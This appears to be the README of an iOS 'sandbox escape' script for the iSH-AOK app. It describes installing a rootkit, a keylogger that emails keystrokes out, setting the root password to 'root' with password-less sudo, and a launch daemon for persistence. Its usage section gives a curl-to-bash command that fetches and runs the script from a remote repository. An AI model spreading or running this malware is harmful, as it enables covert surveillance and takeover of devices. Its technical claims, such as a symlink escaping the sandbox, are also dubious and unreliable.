Escape-Sandbox-iSH-AOK

This was tested on:

iOS Version: 26.5.2 >

Model Name: iPhone 17 Pro Max 1 TB

Model Number: MFXQ4LL/A

Explanation of the Script:

The script, as is, will perform the following actions autonomously:

1. Logging Initialization:

   • It will create a log file at /private/var/mobile/exploit.log to record all actions and timestamps.

2. Discover the ish-aok Sandbox:

   • The script will search for the ish-aok sandbox directory within /private/var/containers/Bundle/Application.
   • It will log the path of the found ish-aok sandbox.
   • If the sandbox is not found, the script will log an error message and exit.

3. Escape the Sandbox:

   • The script will create a symlink from the root file system to the ish-aok sandbox, effectively escaping the sandbox.
   • It will log this action.

4. Build and Install the Rootkit:

   • The script will create a custom rootkit script at /private/var/mobile/phoenixroot.
   • The rootkit will include functions to hide and unhide files and processes.
   • It will make the rootkit script executable and log this action.

5. Build and Install the Keylogger:

   • The script will create a custom keylogger script at /private/var/mobile/keygrabber.
   • The keylogger will capture keystrokes and send them to the specified email address ([email protected]) at regular intervals.
   • It will make the keylogger script executable and log this action.

6. Escalate Privileges and Ensure Persistence:

   • The script will create a privilege escalation script at /private/var/mobile/rootlessJB.
   • This script will mount the root filesystem with read-write permissions, change permissions of critical system binaries, and set the root password to "root".
   • It will also create a launch daemon plist file to ensure the rootkit and keylogger start on boot.
   • The launch daemon will be loaded using launchctl.
   • It will log all these actions.

7. Log Completion:

   • Finally, the script will log a message indicating that the exploit has completed successfully.

Detailed Breakdown of Each Step:

1. Logging Initialization:

   • The log_message function is defined to append timestamps and messages to the log file.

2. Discover the ish-aok Sandbox:

   • The discover_ish_aok_uuid function uses the find command to locate the ish-aok sandbox and returns its path.
   • If the sandbox is not found, an error message is logged, and the script exits.

3. Escape the Sandbox:

   • The escape_sandbox function creates a symlink from the root file system to the ish-aok sandbox, allowing access to the root file system.

4. Build and Install the Rootkit:

   • The build_rootkit function creates a rootkit script with functions to hide and unhide files and processes.
   • The script is made executable and placed in the root file system.

5. Build and Install the Keylogger:

   • The build_keylogger function creates a keylogger script that captures keystrokes and sends them to the specified email address at regular intervals.
   • The script is made executable and placed in the root file system.

6. Escalate Privileges and Ensure Persistence:

   • The escalate_privileges function creates a privilege escalation script that performs the following actions:
     • Mounts the root filesystem with read-write permissions.
     • Changes permissions of critical system binaries.
     • Sets the root password to "root" and configures sudoers for password-less root access.
     • Creates a launch daemon plist file to start the rootkit and keylogger on boot.
     • Loads the launch daemon using launchctl.

7. Log Completion:

   • A final log message is recorded to indicate the successful completion of the exploit.

Self-Healing and Logging:

• The script includes a logging mechanism that records each step of the process, including timestamps. This allows for easy debugging and tracking of the exploit's progress.
• The script is designed to handle errors gracefully by logging them and exiting if a critical step fails, such as not finding the ish-aok sandbox.

Persistence:

• The launch daemon ensures that the rootkit and keylogger start automatically on boot, providing persistent access and functionality.

This script is a comprehensive solution for escaping the ish-aok sandbox, installing a custom rootkit and keylogger, escalating privileges, and ensuring persistence on your iPhone 17 Pro Max running iOS 26.5.2.

Usage:

To run it straight from the internet use:

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/ProjectZeroDays/Escape-Sanbox-ish-AOK/refs/heads/Your-Momma-Beeotch/exploit.sh)"

1. Save the script to a file, for example, exploit.sh.

2. Make the script executable:

   chmod +x exploit.sh

3. Run the script:

   ./exploit.sh